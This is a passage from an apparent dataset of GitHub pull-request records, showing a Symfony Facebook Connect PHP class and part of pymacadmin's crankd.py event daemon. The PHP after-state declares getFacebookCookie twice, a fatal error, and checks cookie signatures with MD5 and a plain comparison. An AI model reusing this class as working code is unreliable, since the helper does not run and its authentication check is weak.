sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} Fb_uid from cookie : '.$fb_uid);\n\n    return $fb_uid;\n  }\n\n  /**\n   *\n   * @param sfWebRequest $request\n   * @return string\n   * @author fabriceb\n   * @since Oct 12, 2009\n   */\n  public static function getFacebookSigParameters(sfWebRequest $request)\n  {\n    $parameters = $request->getParameterHolder()->getAll();\n\n    $parameter_string = '';\n    foreach ($parameters as $key => $parameter)\n    {\n      if (substr($key,0,3)=='fb_')\n      {\n        $parameter_string .= '&'.$key.'='.$parameter;\n      }\n    }\n\n    return $parameter_string;\n  }\n\n}\n"}, "files_after": {"lib/sfFacebook.class.php": "<?php\n\n/**\n *\n * @package    sfFacebookConnectPlugin\n * @author     Fabrice Bernhard\n *\n */\nclass sfFacebook\n{\n  protected static\n    $client          = null; // Facebook instance\n  protected static\n    $guard_adapter   = null;\n  protected static\n    $is_js_loaded       = false;\n\n\n  public static function getFacebookCookie()\n  {\n    $app_id = self::getApiId();\n    $application_secret = self::getApiSecret();\n    $args = array();\n    parse_str(trim($_COOKIE['fbs_' . $app_id], '\\\\\"'), $args);\n    ksort($args);\n    $payload = '';\n    foreach ($args as $key => $value)\n    {\n      if ($key != 'sig')\n      {\n        $payload .= $key . '=' . $value;\n      }\n    }\n    if (md5($payload . $application_secret) != $args['sig'])\n    {\n      return null;\n    }\n\n    return $args;\n  }\n\n  /**\n   * gets the facebook client instance\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   * @since 2010-05-12 Benjamin Grandfond <benjaming@theodo.fr>: new Facebook php-sdk\n   * @since 2010-09-03 Benjamin Grandfond : correct the parameters sent to the facebook class constructor\n   */\n\n\n  public static function getFacebookCookie()\n  {\n    $app_id = self::getApiKey();\n    $application_secret = self::getApiSecret();\n    $args = array();\n    if (!isset($_COOKIE['fbs_' . $app_id]))\n    {\n      return null;\n    }\n    parse_str(trim($_COOKIE['fbs_' . $app_id], '\\\\\"'), $args);\n    ksort($args);\n    $payload = '';\n    foreach ($args as $key => $value)\n    {\n      if ($key != 'sig')\n      {\n        $payload .= $key . '=' . $value;\n      }\n    }\n    if (md5($payload . $application_secret) != $args['sig'])\n    {\n      return null;\n    }\n    return $args;\n  }\n\n\n  public static function getFacebookClient()\n  {\n    if (self::$client === null)\n    {\n      $params = array(\n        'appId'  => self::getApiId(),\n        'secret' => self::getApiSecret(),\n        'cookie' => self::getApiCookie(),\n        'domain' => self::getApiDomain()\n      );\n\n      self::$client = new Facebook($params);\n    }\n\n    if (!self::$client)\n    {\n      error_log('Could not create facebook client.');\n    }\n\n    return self::$client;\n  }\n\n  /**\n   * get the facebook session\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getSession()\n  {\n\n    return self::getFacebookClient()->getSession();\n  }\n\n  /**\n   * get the facebook user\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getUser()\n  {\n\n    return self::getFacebookClient()->getUser();\n  }\n\n  /**\n   * get datas through the faceook graph api\n   * @see http://developers.facebook.com/docs/api\n   *\n   * @return Array\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-13\n   */\n  public static function getFacebookApi($param)\n  {\n\n    return self::getFacebookClient()->api($param);\n  }\n\n  /**\n   * gets the facebook api key\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   */\n  public static function getApiKey()\n  {\n\n    return sfConfig::get('app_facebook_api_key');\n  }\n\n  /**\n   * gets the facebook api secret\n   *\n   * @return Facebook\n   * @author fabriceb\n   * @since 2009-05-17\n   */\n  public static function getApiSecret()\n  {\n\n    return sfConfig::get('app_facebook_api_secret');\n  }\n\n  /**\n   * get the facebook app id\n   *\n   * @return integer\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-09-03\n   */\n  public static function getApiId()\n  {\n\n    return sfConfig::get('app_facebook_api_id');\n  }\n\n  /**\n   * get the facebook app cookie support\n   *\n   * @return Boolean\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-12\n   */\n  public static function getApiCookie()\n  {\n\n    return sfConfig::get('app_facebook_api_cookie', true);\n  }\n\n  /**\n   * get the facebook app domain\n   *\n   * @return Boolean\n   * @author Benjamin Grandfond <benjaming@theodo.fr>\n   * @since 2010-05-12\n   */\n  public static function getApiDomain()\n  {\n\n    return sfConfig::get('app_facebook_api_domain', null);\n  }\n\n  /**\n   * gets or create user with facebook uid inprofile\n   *\n   * @param Integer $facebook_uid\n   * @param boolean $isActive\n   * @return sfGuardUser $sfGuardUser\n   */\n  public static function getOrCreateUserByFacebookUid($facebook_uid, $isActive = true)\n  {\n    $sfGuardUser = self::getGuardAdapter()->getSfGuardUserByFacebookUid($facebook_uid, $isActive);\n\n    if (!$sfGuardUser instanceof sfGuardUser)\n    {\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No user exists with current email hash');\n      }\n      $sfGuardUser = self::getGuardAdapter()->createSfGuardUserWithFacebookUid($facebook_uid);\n    }\n\n    return $sfGuardUser;\n  }\n\n  /**\n   * gets user with facebook uid inprofile\n   *\n   * @param Integer $facebook_uid\n   * @param boolean $isActive\n   * @return sfGuardUser $sfGuardUser\n   */\n  public static function getUserByFacebookUid($facebook_uid, $isActive = true)\n  {\n    $sfGuardUser = self::getGuardAdapter()->retrieveSfGuardUserByFacebookUid($facebook_uid, $isActive);\n\n    if (!$sfGuardUser instanceof sfGuardUser)\n    {\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No user exists with current email hash');\n      }\n    }\n\n    return $sfGuardUser;\n  }\n\n  /**\n   * Gets the currently logged sfGuardUser using Facebook Session\n   *\n   * @param boolean $create whether to automatically create a sfGuardUser\n   * if none found corresponding to the Facebook session\n   * @param boolean $isActive\n   * @return sfGuardUser\n   * @author fabriceb\n   * @since 2009-05-17\n   * @since 2009-08-25\n   */\n  public static function getSfGuardUserByFacebookSession($create = true, $isActive = true)\n  {\n    // We get the facebook uid from session\n    $fb_uid = self::getAnyFacebookUid();\n    if ($fb_uid)\n    {\n\n      if ($create)\n      {\n\n        return self::getOrCreateUserByFacebookUid($fb_uid, $isActive);\n      }\n      else\n      {\n\n        return self::getUserByFacebookUid($fb_uid, $isActive);\n      }\n    }\n\n    if (sfConfig::get('sf_logging_enabled'))\n    {\n      sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} No current Facebook session');\n    }\n\n    return null;\n  }\n\n  /**\n   * checks the existence of the HTTP_X_FB_USER_REMOTE_ADDR porperty in the header\n   * which is a sign of being included by the fbml interface\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function isInsideFacebook()\n  {\n\n    return isset($_SERVER['HTTP_X_FB_USER_REMOTE_ADDR']);\n  }\n\n  /**\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function inCanvas()\n  {\n\n    return self::getFacebookClient()->in_fb_canvas();\n  }\n\n  /**\n   * redirects to the login page of the Facebook application if not logged yet\n   *\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function requireLogin()\n  {\n    self::getFacebookClient()->require_login();\n  }\n\n  /**\n   * redirects depnding on in canvas or not\n   *\n   * @param $url\n   * @param $statusCode\n   * @return mixed sfView::NONE or sfStopException\n   * @author fabriceb\n   * @since Jun 8, 2009 fabriceb\n   */\n  public static function redirect($url, $statusCode = 302)\n  {\n\n    $context = sfContext::getInstance();\n    $response = $context->getResponse();\n\n    if (self::inCanvas())\n    {\n      $url = sfConfig::get('app_facebook_app_url').$context->getController()->genUrl($url, false);\n\n      $text = '<fb:redirect url=\"' . $url . '\"/>';\n      $response->setContent(sfContext::getInstance()->getResponse()->getContent().$text);\n\n      return sfView::NONE;\n    }\n    else\n    {\n      $fb_parameters = '?'.sfFacebook::getFacebookSigParameters(sfContext::getInstance()->getRequest());\n      $url = $context->getController()->genUrl($url, true).$fb_parameters;\n\n      $response->clearHttpHeaders();\n      $response->setStatusCode($statusCode);\n      $response->setHttpHeader('Location', $url);\n      $response->setContent(sprintf('<html><head><meta http-equiv=\"refresh\" content=\"%d;url=%s\"/></head></html>', 0, htmlspecialchars($url, ENT_QUOTES, sfConfig::get('sf_charset'))));\n      $response->send();\n\n      throw new sfStopException();\n    }\n  }\n\n  /**\n   *\n   * @param integer $user_uid\n   * @return integer[]\n   * @author fabriceb\n   * @since Jun 9, 2009 fabriceb\n   */\n  public static function getFacebookFriendsUids($user_uid = null)\n  {\n\n    try\n    {\n      $friends_uids = self::getFacebookApi()->friends_get(null, $user_uid);\n    }\n    catch(FacebookRestClientException $e)\n    {\n      $friends_uids = array();\n      if (sfConfig::get('sf_logging_enabled'))\n      {\n        sfContext::getInstance()->getLogger()->info('{FacebookRestClientException} '.$e->getMessage());\n      }\n    }\n\n    return $friends_uids;\n  }\n\n  /**\n  *\n  * @return sfFacebookGuardAdapter\n  * @author fabriceb\n  * @since Aug 10, 2009\n  * @since 2009-10-08 Alban Creton : added configurability of the Guard Adapter.\n  */\n  public static function getGuardAdapter()\n  {\n    if (self::$guard_adapter === null)\n    {\n      if(sfConfig::get('app_facebook_guard_adapter') && class_exists(sfConfig::get('app_facebook_guard_adapter'), true))\n      {\n        $class = sfConfig::get('app_facebook_guard_adapter');\n      }\n      else if (class_exists('sfGuardUserPeer', true))\n      {\n        $class = 'sfFacebookPropelGuardAdapter';\n      }\n      else\n      {\n        $class = 'sfFacebookDoctrineGuardAdapter';\n      }\n      self::$guard_adapter = new $class();\n    }\n    if (!self::$guard_adapter)\n    {\n      error_log('Could not create guard adapter.');\n    }\n\n    return self::$guard_adapter;\n  }\n\n\n  /**\n   *\n   * @return boolean\n   * @author fabriceb\n   * @since Aug 27, 2009\n   */\n  public static function isJsLoaded()\n  {\n\n    return self::$is_js_loaded;\n  }\n\n  /**\n   *\n   * @return void\n   * @author fabriceb\n   * @since Aug 27, 2009\n   */\n  public static function setJsLoaded()\n  {\n    self::$is_js_loaded = true;\n  }\n\n  /**\n   * Dirty way to convert fr into fr_FR\n   * @param string $culture\n   * @return string\n   * @author fabriceb\n   * @since Aug 28, 2009\n   */\n  public static function getLocale($culture = null)\n  {\n    if (is_null($culture))\n    {\n      $culture = sfContext::getInstance()->getUser()->getCulture();\n    }\n\n    $culture_to_locale = array(\n      'fr' => 'fr_FR',\n      'en' => 'en_US',\n      'de' => 'de_DE',\n      'it' => 'it_IT',\n    );\n\n    return array_key_exists($culture, $culture_to_locale) ? $culture_to_locale[$culture] : $culture;\n  }\n\n  /**\n  * @return interger $facebook_uid\n  * @author fabriceb\n  * @since Oct 6, 2009\n  */\n  public static function getAnyFacebookUid()\n  {\n\n    $cookie = self::getFacebookCookie();\n    $fb_uid = $cookie['uid'];\n    sfContext::getInstance()->getLogger()->info('{sfFacebookConnect} Fb_uid from cookie : '.$fb_uid);\n\n    return $fb_uid;\n  }\n\n  /**\n   *\n   * @param sfWebRequest $request\n   * @return string\n   * @author fabriceb\n   * @since Oct 12, 2009\n   */\n  public static function getFacebookSigParameters(sfWebRequest $request)\n  {\n    $parameters = $request->getParameterHolder()->getAll();\n\n    $parameter_string = '';\n    foreach ($parameters as $key => $parameter)\n    {\n      if (substr($key,0,3)=='fb_')\n      {\n        $parameter_string .= '&'.$key.'='.$parameter;\n      }\n    }\n\n    return $parameter_string;\n  }\n\n}\n"}}
{"repo": "MacSysadmin/pymacadmin", "pr_number": 13, "title": "Support for regexes, clearer logging, handle missing user_info", "state": "closed", "merged_at": "2016-01-16T03:38:04Z", "additions": 12, "deletions": 7, "files_changed": ["bin/crankd.py"], "files_before": {"bin/crankd.py": "#!/usr/bin/python2.7\n# encoding: utf-8\n\n\"\"\"\nUsage: %prog\n\nMonitor system event notifications\n\nConfiguration:\n\nThe configuration file is divided into sections for each class of\nevents. Each section is a dictionary using the event condition as the\nkey (\"NSWorkspaceDidWakeNotification\", \"State:/Network/Global/IPv4\",\netc). Each event must have one of the following properties:\n\ncommand:      a shell command\nfunction:     the name of a python function\nclass:        the name of a python class which will be instantiated once\n              and have methods called as events occur.\nmethod:       (class, method) tuple\n\"\"\"\n\nfrom Cocoa import \\\n    CFAbsoluteTimeGetCurrent, \\\n    CFRunLoopAddSource, \\\n    CFRunLoopAddTimer, \\\n    CFRunLoopTimerCreate, \\\n    NSObject, \\\n    NSRunLoop, \\\n    NSWorkspace, \\\n    kCFRunLoopCommonModes\n\nfrom SystemConfiguration import \\\n    SCDynamicStoreCopyKeyList, \\\n    SCDynamicStoreCreate, \\\n    SCDynamicStoreCreateRunLoopSource, \\\n    SCDynamicStoreSetNotificationKeys\n\nfrom FSEvents import \\\n    FSEventStreamCreate, \\\n    FSEventStreamStart, \\\n    FSEventStreamScheduleWithRunLoop, \\\n    kFSEventStreamEventIdSinceNow, \\\n    kCFRunLoopDefaultMode, \\\n    kFSEventStreamEventFlagMustScanSubDirs, \\\n    kFSEventStreamEventFlagUserDropped, \\\n    kFSEventStreamEventFlagKernelDropped\n\nimport os\nimport os.path\nimport logging\nimport logging.handlers\nimport sys\nimport re\nfrom subprocess import call\nfrom optparse import OptionParser\nfrom plistlib import readPlist, writePlist\nfrom PyObjCTools import AppHelper\nfrom functools import partial\nimport signal\nfrom datetime import datetime\nfrom objc import super\n\n\nVERSION          = '$Revision: #4 $'\n\nHANDLER_OBJECTS  = dict()     # Events which have a \"class\" handler use an instantiated object; we want to load only one copy\nSC_HANDLERS      = dict()     # Callbacks indexed by SystemConfiguration keys\nFS_WATCHED_FILES = dict()     # Callbacks indexed by filesystem path\nWORKSPACE_HANDLERS = dict()   # handlers for workspace events\n\n\nclass BaseHandler(object):\n    # pylint: disable-msg=C0111,R0903\n    pass\n\nclass NotificationHandler(NSObject):\n    \"\"\"Simple base class for handling NSNotification events\"\"\"\n    # Method names and class structure are dictated by Cocoa & PyObjC, which\n    # is substantially different from PEP-8:\n    # pylint: disable-msg=C0103,W0232,R0903\n\n    def init(self):\n        \"\"\"NSObject-compatible initializer\"\"\"\n        self = super(NotificationHandler, self).init()\n        if self is None: return None\n        self.callable = self.not_implemented\n        return self # NOTE: Unlike Python, NSObject's init() must return self!\n\n    def not_implemented(self, *args, **kwargs):\n        \"\"\"A dummy function which exists only to catch configuration errors\"\"\"\n        # TODO: Is there a better way to report the caller's location?\n        import inspect\n        stack = inspect.stack()\n        my_name = stack[0][3]\n        caller  = stack[1][3]\n        raise NotImplementedError(\n            \"%s should have been overridden. Called by %s as: %s(%s)\" % (\n                my_name,\n                caller,\n                my_name,\n                \", \".join(map(repr, args) + [ \"%s=%s\" % (k, repr(v)) for k,v in kwargs.items() ])\n            )\n        )\n\n    def onNotification_(self, the_notification):\n        \"\"\"Pass an NSNotifications to our handler\"\"\"\n        if the_notification.userInfo:\n            user_info = the_notification.userInfo()\n        else:\n            user_info = None\n        self.callable(user_info=user_info) # pylint: disable-msg=E1101\n\n\ndef log_list(msg, items, level=logging.INFO):\n    \"\"\"\n    Record a a list of values with a message\n\n    This would ordinarily be a simple logging call but we want to keep the\n    length below the 1024-byte syslog() limitation and we'll format things\n    nicely by repeating our message with as many of the values as will fit.\n\n    Individual items longer than the maximum length will be truncated.\n    \"\"\"\n\n    max_len    = 1024 - len(msg % \"\")\n    cur_len    = 0\n    cur_items  = list()\n\n    while [ i[:max_len] for i in items]:\n        i = items.pop()\n        if cur_len + len(i) + 2 > max_len:\n            logging.info(msg % \", \".join(cur_items))\n            cur_len = 0\n            cur_items = list()\n\n        cur_items.append(i)\n        cur_len += len(i) + 2\n\n    logging.log(level, msg % \", \".join(cur_items))\n\ndef get_callable_for_event(name, event_config, context=None):\n    \"\"\"\n        Returns a callable object which can be used as a callback for any\n        event. The returned function has context information, logging, etc.\n        included so they do not need to be passed when the actual event\n        occurs.\n\n        NOTE: This function does not process \"class\" handlers - by design they\n        are passed to the system libraries which expect a delegate object with\n        various event handling methods\n    \"\"\"\n\n    kwargs = {\n        'context':  context,\n        'key':      name,\n        'config':   event_config,\n    }\n\n    if \"command\" in event_config:\n        f = partial(do_shell, event_config[\"command\"], **kwargs)\n    elif \"function\" in event_config:\n        f = partial(get_callable_from_string(event_config[\"function\"]), **kwargs)\n    elif \"method\" in event_config:\n        f = partial(getattr(get_handler_object(event_config['method'][0]), event_config['method'][1]), **kwargs)\n    else:\n        raise AttributeError(\"%s have a class, method, function or command\" % name)\n\n    return f\n\n\ndef get_mod_func(callback):\n    \"\"\"Convert a fully-qualified module.function name to (module, function) - stolen from Django\"\"\"\n    try:\n        dot = callback.rindex('.')\n    except ValueError:\n        return (callback, '')\n    return (callback[:dot], callback[dot+1:])\n\n\ndef get_callable_from_string(f_name):\n    \"\"\"Takes a string containing a function name (optionally module qualified) and returns a callable object\"\"\"\n    try:\n        mod_name, func_name = get_mod_func(f_name)\n        if mod_name == \"\" and func_name == \"\":\n            raise AttributeError(\"%s couldn't be converted to a module or function name\" % f_name)\n\n        module = __import__(mod_name)\n\n        if func_name == \"\":\n            func_name = mod_name # The common case is an eponymous class\n\n        return getattr(module, func_name)\n\n    except (ImportError, AttributeError), exc:\n        raise RuntimeError(\"Unable to create a callable object for '%s': %s\" % (f_name, exc))\n\n\ndef get_handler_object(class_name):\n    \"\"\"Return a single instance of the given class name, instantiating it if necessary\"\"\"\n\n    if class_name not in HANDLER_OBJECTS:\n        h_obj = get_callable_from_string(class_name)()\n        if isinstance(h_obj, BaseHandler):\n            pass # TODO: Do we even need BaseHandler any more?\n        HANDLER_OBJECTS[class_name] = h_obj\n\n    return HANDLER_OBJECTS[class_name]\n\n\ndef handle_sc_event(store, changed_keys, info):\n    \"\"\"Fire every event handler for one or more events\"\"\"\n\n    for key in changed_keys:\n        SC_HANDLERS[key](key=key, info=info)\n\n\ndef list_events(option, opt_str, value, parser):\n    \"\"\"Displays the list of events which can be monitored on the current system\"\"\"\n\n    print 'On this system SystemConfiguration supports these events:'\n    for event in sorted(SCDynamicStoreCopyKeyList(get_sc_store(), '.*')):\n        print \"\\t\", event\n\n    print\n    print \"Standard NSWorkspace Notification messages:\\n\\t\",\n    print \"\\n\\t\".join('''\n        NSWorkspaceDidLaunchApplicationNotification\n        NSWorkspaceDidMountNotification\n        NSWorkspaceDidPerformFileOperationNotification\n        NSWorkspaceDidTerminateApplicationNotification\n        NSWorkspaceDidUnmountNotification\n        NSWorkspaceDidWakeNotification\n        NSWorkspaceSessionDidBecomeActiveNotification\n        NSWorkspaceSessionDidResignActiveNotification\n        NSWorkspaceWillLaunchApplicationNotification\n        NSWorkspaceWillPowerOffNotification\n        NSWorkspaceWillSleepNotification\n        NSWorkspaceWillUnmountNotification\n    '''.split())\n\n    sys.exit(0)\n\n\ndef process_commandline():\n    \"\"\"\n        Process command-line options\n        Load our preference file\n        Configure the module path to add Application Support directories\n    \"\"\"\n    parser          = OptionParser(__doc__.strip())\n    support_path    = '/Library/' if os.getuid() == 0 else os.path.expanduser('~/Library/')\n    preference_file = os.path.join(support_path, 'Preferences', 'com.googlecode.pymacadmin.crankd.plist')\n    module_path     = os.path.join(support_path, 'Application Support/crankd')\n\n    if os.path.exists(module_path):\n        sys.path.append(module_path)\n    else:\n        print >> sys.stderr, \"Module directory %s does not exist: Python handlers will need to use absolute pathnames\" % module_path\n\n    parser.add_option(\"-f\", \"--config\", dest=\"config_file\", help='Use an alternate config file instead of %default', default=preference_file)\n    parser.add_option(\"-l\", \"--list-events\", action=\"callback\", callback=list_events, help=\"List the events which can be monitored\")\n    parser.add_option(\"-d\", \"--debug\", action=\"count\", default=False, help=\"Log detailed progress information\")\n    (options, args) = parser.parse_args()\n\n    if len(args):\n        parser.error(\"Unknown command-line arguments: %s\" % args)\n\n    options.support_path = support_path\n    options.config_file = os.path.realpath(options.config_file)\n\n    # This is somewhat messy but we want to alter the command-line to use full\n    # file paths in case someone's code changes the current directory or the\n    sys.argv = [ os.path.realpath(sys.argv[0]), ]\n\n    if options.debug:\n        logging.getLogger().setLevel(logging.DEBUG)\n        sys.argv.append(\"--debug\")\n\n    if options.config_file:\n        sys.argv.append(\"--config\")\n        sys.argv.append(options.config_file)\n\n    return options\n\n\ndef load_config(options):\n    \"\"\"Load our configuration from plist or create a default file if none exists\"\"\"\n    if not os.path.exists(options.config_file):\n        logging.info(\"%s does not exist - initializing with an example configuration\" % CRANKD_OPTIONS.config_file)\n        print >>sys.stderr, 'Creating %s with default options for you to customize' % options.config_file\n        print >>sys.stderr, '%s --list-events will list the events you can monitor on this system' % sys.argv[0]\n        example_config = {\n            'SystemConfiguration': {\n                'State:/Network/Global/IPv4': {\n                    'command': '/bin/echo \"Global IPv4 config changed\"'\n                }\n            },\n            'NSWorkspace': {\n                'NSWorkspaceDidMountNotification': {\n                    'command': '/bin/echo \"A new volume was mounted!\"'\n                },\n                'NSWorkspaceDidWakeNotification': {\n                    'command': '/bin/echo \"The system woke from sleep!\"'\n                },\n                'NSWorkspaceWillSleepNotification': {\n                    'command': '/bin/echo \"The system is about to go to sleep!\"'\n                }\n            }\n        }\n        writePlist(example_config, options.config_file)\n        sys.exit(1)\n\n    logging.info(\"Loading configuration from %s\" % CRANKD_OPTIONS.config_file)\n\n    plist = readPlist(options.config_file)\n\n    if \"imports\" in plist:\n        for module in plist['imports']:\n            try:\n                __import__(module)\n            except ImportError, exc:\n                print >> sys.stderr, \"Unable to import %s: %s\" % (module, exc)\n                sys.exit(1)\n    return plist\n\n\ndef configure_logging():\n    \"\"\"Configures the logging module\"\"\"\n    logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')\n\n    # Enable logging to syslog as well:\n    # Normally this would not be necessary but logging assumes syslog listens on\n    # localhost syslog/udp, which is disabled on 10.5 (rdar://5871746)\n    syslog = logging.handlers.SysLogHandler('/var/run/syslog')\n    syslog.setFormatter(logging.Formatter('%(name)s: %(message)s'))\n    syslog.setLevel(logging.INFO)\n    logging.getLogger().addHandler(syslog)\n\n\ndef get_sc_store():\n    \"\"\"Returns an SCDynamicStore instance\"\"\"\n    return SCDynamicStoreCreate(None, \"crankd\", handle_sc_event, None)\n\n\ndef add_workspace_notifications(nsw_config):\n    # See http://developer.apple.com/documentation/Cocoa/Conceptual/Workspace/Workspace.html\n    notification_center = NSWorkspace.sharedWorkspace().notificationCenter()\n\n    for event in nsw_config:\n        event_config = nsw_config[event]\n\n        if \"class\" in event_config:\n            obj         = get_handler_object(event_config['class'])\n            objc_method = \"on%s:\" % event\n            py_method   = objc_method.replace(\":\", \"_\")\n            if not hasattr(obj, py_method) or not callable(getattr(obj, py_method)):\n                print  >> sys.stderr, \\\n                    \"NSWorkspace Notification %s: handler class %s must define a %s method\" % (event, event_config['class'], py_method)\n                sys.exit(1)\n\n            notification_center.addObserver_selector_name_object_(obj, objc_method, event, None)\n        else:\n            handler          = NotificationHandler.new()\n            handler.name     = \"NSWorkspace Notification %s\" % event\n            handler.callable = get_callable_for_event(event, event_config, context=handler.name)\n\n            assert(callable(handler.onNotification_))\n\n            notification_center.addObserver_selector_name_object_(handler, \"onNotification:\", event, None)\n            WORKSPACE_HANDLERS[event] = handler\n\n    log_list(\"Listening for these NSWorkspace notifications: %s\", nsw_config.keys())\n\n\ndef add_sc_notifications(sc_config):\n    \"\"\"\n    This uses the SystemConfiguration framework to get a SCDynamicStore session\n    and register for certain events. See the Apple SystemConfiguration\n    documentation for details:\n\n    <http://developer.apple.com/documentation/Networking/Reference/SysConfig/SCDynamicStore/CompositePage.html>\n\n    TN1145 may also be of interest:\n        <http://developer.apple.com/technotes/tn/tn1145.html>\n\n    Inspired by the PyObjC SystemConfiguration callback demos:\n    <https://svn.red-bean.com/pyobjc/trunk/pyobjc/pyobjc-framework-SystemConfiguration/Examples/CallbackDemo/>\n    \"\"\"\n\n    keys = sc_config.keys()\n\n    try:\n        for key in keys:\n            SC_HANDLERS[key] = get_callable_for_event(key, sc_config[key], context=\"SystemConfiguration: %s\" % key)\n    except AttributeError, exc:\n        print  >> sys.stderr, \"Error configuring SystemConfiguration events: %s\" % exc\n        sys.exit(1)\n\n    store = get_sc_store()\n\n    SCDynamicStoreSetNotificationKeys(store, None, keys)\n\n    # Get a CFRunLoopSource for our store session and add it to the application's runloop:\n    CFRunLoopAddSource(\n        NSRunLoop.currentRunLoop().getCFRunLoop(),\n        SCDynamicStoreCreateRunLoopSource(None, store, 0),\n        kCFRunLoopCommonModes\n    )\n\n    log_list(\"Listening for these SystemConfiguration events: %s\", keys)\n\n\ndef add_fs_notifications(fs_config):\n    for path in fs_config:\n        add_fs_notification(path, get_callable_for_event(path, fs_config[path], context=\"FSEvent: %s\" % path))\n\n\ndef add_fs_notification(f_path, callback):\n    \"\"\"Adds an FSEvent notification for the specified path\"\"\"\n    path = os.path.realpath(os.path.expanduser(f_path))\n    if not os.path.exists(path):\n        raise AttributeError(\"Cannot add an FSEvent notification: %s does not exist!\" % path)\n\n    if not os.path.isdir(path):\n        path = os.path.dirname(path)\n\n    try:\n        FS_WATCHED_FILES[path].append(callback)\n    except KeyError:\n        FS_WATCHED_FILES[path] = [callback]\n\n\ndef start_fs_events():\n    stream_ref = FSEventStreamCreate(\n        None,                               # Use the default CFAllocator\n        fsevent_callback,\n        None,                               # We don't need a FSEventStreamContext\n        FS_WATCHED_FILES.keys(),\n        kFSEventStreamEventIdSinceNow,      # We only want events which happen in the future\n        1.0,                                # Process events within 1 second\n        0                                   # We don't need any special flags for our stream\n    )\n\n    if not stream_ref:\n        raise RuntimeError(\"FSEventStreamCreate() failed!\")\n\n    FSEventStreamScheduleWithRunLoop(stream_ref, NSRunLoop.currentRunLoop().getCFRunLoop(), kCFRunLoopDefaultMode)\n\n    if not FSEventStreamStart(stream_ref):\n        raise RuntimeError(\"Unable to start FSEvent stream!\")\n\n    logging.debug(\"FSEventStream started for %d paths: %s\" % (len(FS_WATCHED_FILES), \", \".join(FS_WATCHED_FILES)))\n\n\ndef fsevent_callback(stream_ref, full_path, event_count, paths, masks, ids):\n    \"\"\"Process an FSEvent (consult the Cocoa docs) and call each of our handlers which monitors that path or a parent\"\"\"\n    for i in range(event_count):\n        path = os.path.dirname(paths[i])\n\n        if masks[i] & kFSEventStreamEventFlagMustScanSubDirs:\n            recursive = True\n\n        if masks[i] & kFSEventStreamEventFlagUserDropped:\n            logging.error(\"We were too slow processing FSEvents and some events were dropped\")\n            recursive = True\n\n        if masks[i] & kFSEventStreamEventFlagKernelDropped:\n            logging.error(\"The kernel was too slow processing FSEvents and some events were dropped!\")\n            recursive = True\n        else:\n            recursive = False\n\n        for i in [k for k in FS_WATCHED_FILES if path.startswith(k)]:\n            logging.debug(\"FSEvent: %s: processing %d callback(s) for path %s\" % (i, len(FS_WATCHED_FILES[i]), path))\n            for j in FS_WATCHED_FILES[i]:\n                j(i, path=path, recursive=recursive)\n\n\ndef timer_callback(*args):\n    \"\"\"Handles the timer events which we use simply to have the runloop run regularly. Currently this logs a timestamp for debugging purposes\"\"\"\n    logging.debug(\"timer callback at %s\" % datetime.now())\n\n\ndef main():\n    configure_logging()\n\n    global CRANKD_OPTIONS, CRANKD_CONFIG\n    CRANKD_OPTIONS = process_commandline()\n    CRANKD_CONFIG  = load_config(CRANKD_OPTIONS)\n\n    if \"NSWorkspace\" in CRANKD_CONFIG:\n        add_workspace_notifications(CRANKD_CONFIG['NSWorkspace'])\n\n    if \"SystemConfiguration\" in CRANKD_CONFIG:\n        add_sc_notifications(CRANKD_CONFIG['SystemConfiguration'])\n\n    if \"FSEvents\" in CRANKD_CONFIG:\n        add_fs_notifications(CRANKD_CONFIG['FSEvents'])\n\n    # We reuse our FSEvents code to watch for changes to our files and\n    # restart if any of our libraries have been updated:\n    add_conditional_restart(CRANKD_OPTIONS.config_file, \"Configuration file %s changed\" % CRANKD_OPTIONS.config_file)\n    for m in filter(lambda i: i and hasattr(i, '__file__'), sys.modules.values()):\n        if m.__name__ == \"__main__\":\n            msg = \"%s was updated\" % m.__file__\n        else:\n            msg = \"Module %s was updated\" % m.__name__\n\n        add_conditional_restart(m.__file__, msg)\n\n    signal.signal(signal.SIGHUP, partial(restart, \"SIGHUP received\"))\n\n    start_fs_events()\n\n    # NOTE: This timer is basically a kludge around the fact that we can't reliably get\n    #       signals or Control-C inside a runloop. This wakes us up often enough to\n    #       appear tolerably responsive:\n    CFRunLoopAddTimer(\n        NSRunLoop.currentRunLoop().getCFRunLoop(),\n        CFRunLoopTimerCreate(None, CFAbsoluteTimeGetCurrent(), 2.0, 0, 0, timer_callback, None),\n        kCFRunLoopCommonModes\n    )\n\n    try:\n        AppHelper.runConsoleEventLoop(installInterrupt=True)\n    except KeyboardInterrupt:\n        logging.info(\"KeyboardInterrupt received, exiting\")\n\n    sys.exit(0)\n\ndef create_env_name(name):\n    \"\"\"\n    Converts input names into more traditional shell environment name style\n\n    >>> create_env_name(\"NSApplicationBundleIdentifier\")\n    'NSAPPLICATION_BUNDLE_IDENTIFIER'\n    >>> create_env_name(\"NSApplicationBundleIdentifier-1234$foobar!\")\n    'NSAPPLICATION_BUNDLE_IDENTIFIER_1234_FOOBAR'\n    \"\"\"\n    new_name = re.sub(r'''(?<=[a-z])([A-Z])''', '_\\\\1', name)\n    new_name = re.sub(r'\\W+', '_', new_name)\n    new_name = re.sub(r'_{2,}', '_', new_name)\n    return new_name.upper().strip(\"_\")\n\ndef do_shell(command, context=None, **kwargs):\n    \"\"\"Executes a shell command with logging\"\"\"\n    logging.info(\"%s: executing %s\" % (context, command))\n\n    child_env = 